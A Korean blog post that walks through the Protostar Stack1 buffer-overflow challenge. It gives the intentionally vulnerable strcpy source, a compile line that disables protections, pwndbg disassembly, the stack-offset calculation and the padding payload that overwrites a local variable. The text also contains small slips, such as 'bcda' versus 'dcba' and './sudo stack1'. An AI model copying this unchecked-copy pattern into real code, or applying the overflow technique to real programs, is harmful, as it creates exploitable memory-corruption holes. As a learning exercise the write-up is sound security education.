Pwnable/프로토스타_시스템해킹

Protostar-Stack1 (Buffer Over flow)

KSJ._.seven11 2023. 1. 23. 21:13

먼저 문제의 소스코드는 다음과 같다.

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

 

먼저 컴파일 시켜 실행시켜보자.

 

gcc -z execstack -w -no-pie -o stack1 stack1.c

 

이후 실행을 시키면 다음과 같은 문구가 나온다.

 

 

소스코드와 함께 분석을 하면 argument 가 1일때 위와 같은 문구를 출력시킨다.

 

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

argc가 1이 아니게 하려면 실행을 시킬때 다음과 같이 입려해야 한다.

 

./sudo stack1 1234

 

argc가 1이 아니여야 하기에 뒤에 추가로 값을 넣어 함수를 호출할때 입력되는 값이 1이 아니게 해야한다는 것이다.

 

그러면 정상 실행이 되므로 다음과 같은 화면이 뜬다.

 

 

다시 한번 문제 소스코드를 봐보자.

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

 

여기서 주목해야할 것은 modified 값이다.

 

변수 modified 값은 0으로 선언되며 이 변수가 0x61626364 일때 "you have correctly got the variable to the right value\n" 구문이 출력된다.

 

다음으로 주목해야 할 부분은 strcpy 함수이다. Buffer Over Flow 의 취약점이 존재한다.

 

Strcpy 함수는 길이 검사를 하지 않고 데이터를 복사하는 함수이므로 입력자의 값을 무한대로 넣을 수 있다.

 

결국은 Stack1또한 Buffer Over Flow 공격 기법들을 통해 문제를 해결해야 한다.

 

먼저 pwngdb를 통해 분석해 보자.

 

 

   0x0000000000401156 <+0>:	push   rbp
   0x0000000000401157 <+1>:	mov    rbp,rsp
   0x000000000040115a <+4>:	sub    rsp,0x60
   0x000000000040115e <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000401161 <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000401165 <+15>:	cmp    DWORD PTR [rbp-0x54],0x1
   0x0000000000401169 <+19>:	jne    0x401184 <main+46>
   0x000000000040116b <+21>:	lea    rax,[rip+0xe96]        # 0x402008
   0x0000000000401172 <+28>:	mov    rsi,rax
   0x0000000000401175 <+31>:	mov    edi,0x1
   0x000000000040117a <+36>:	mov    eax,0x0
   0x000000000040117f <+41>:	call   0x401050 <errx@plt>
   0x0000000000401184 <+46>:	mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040118b <+53>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040118f <+57>:	add    rax,0x8
   0x0000000000401193 <+61>:	mov    rdx,QWORD PTR [rax]
   0x0000000000401196 <+64>:	lea    rax,[rbp-0x50]
   0x000000000040119a <+68>:	mov    rsi,rdx
   0x000000000040119d <+71>:	mov    rdi,rax
   0x00000000004011a0 <+74>:	call   0x401030 <strcpy@plt>
   0x00000000004011a5 <+79>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011a8 <+82>:	cmp    eax,0x61626364
   0x00000000004011ad <+87>:	jne    0x4011c0 <main+106>
   0x00000000004011af <+89>:	lea    rax,[rip+0xe72]        # 0x402028
   0x00000000004011b6 <+96>:	mov    rdi,rax
   0x00000000004011b9 <+99>:	call   0x401040 <puts@plt>
   0x00000000004011be <+104>:	jmp    0x4011d9 <main+131>
   0x00000000004011c0 <+106>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011c3 <+109>:	mov    esi,eax
   0x00000000004011c5 <+111>:	lea    rax,[rip+0xe93]        # 0x40205f
   0x00000000004011cc <+118>:	mov    rdi,rax
   0x00000000004011cf <+121>:	mov    eax,0x0
   0x00000000004011d4 <+126>:	call   0x401060 <printf@plt>
   0x00000000004011d9 <+131>:	mov    eax,0x0
   0x00000000004011de <+136>:	leave  
   0x00000000004011df <+137>:	ret

 

 

해당부분에서 cmp를 통해 비교하는 걸 보아 이쪽 부근에 modified 함수를 찾을 수 있을 것이다.

 

그렇다면

 

 

eax에 저장하여 비교할 수 있도록 역할을 맡는 rbp-0x4 가 될 것이다.

 

다음으로 buffer에 위치를 찾아 스택간의 거리를 계산해야 한다.

 

위에를 보면 rax에 [rbp - 0x50]의 주소를 가져온다.

 

그러고 rsi <-- rdx ,, rdi <---- rax 로 형성되는 데

 

rsi 와 rdi는 source index 와 destination index를 의미한다.

 

쉽게 말하자면 출발점 rsi ---> rdi 이렇게 생각하면 편하다.

 

결국 rdi 에 저장하는 값은 rax이며 이 rax 는 rbp-0x50 을 뜻한다.

 

결국 rbp-0x50은 buffer을 의미하는 것으로 볼 수 있다.

 

스택 구조는

 

buffer = rbp-0x50

modified = rbp-0x4

 

로 되어 있을 것이다.

 

이에 거리를 계산하자면 16진수 계산기로 찾고 10진수로 변환시키면 된다.

 

0x50 - 0x4 == 4C (16진수) ---> 76 (10진수)

 

1바이트인 문자 'A' 76개를 입력하여 실행시키면 modified 위치 직전까지 스택이 쌓여 modified 까지 갈 수 있을 것이다.

 

--->(int modified 값은 4byte 여야 하므로 다 덮으려면 'A' * 76 + 'B' * 4 를 통해 총 80 byte를 넣어야 한다.)

 

python을 통해 print('A' * 76 + 'B' * 4) 을 실행시키고 복사하여 실행시켜보자. (pwndbg에서..)

 

main + 82에 중단점을 걸어 실행시켰다.

 

이후 eax에 값을 확인해보자.

 

info reg $eax

 

위와 같이 값이 바뀌는 걸 확인할 수 있다.

 

이를 통해 eax에 저장되어있는 값이 eax 0x61626364 로 변경하면 된다는 것이다.

 

0x61626364는 abcd 로 나타낼 수 있다.

 

** 메모리 상에서 스택에서 데이터를 읽을때 거꾸로 값을 읽어 내리기에 dcba로 넣어야 한다.

 

즉 A 76개에 bcda를 끝에 입력하면 modified 값이 변경되어 문제를 풀어낼 수 있을 것이다.

 

 

continue를 통해 프로그램을 계속 실행시키면 

원하는 문자열을 띄울 수 있게 된다.

 

문제 해결 끝 !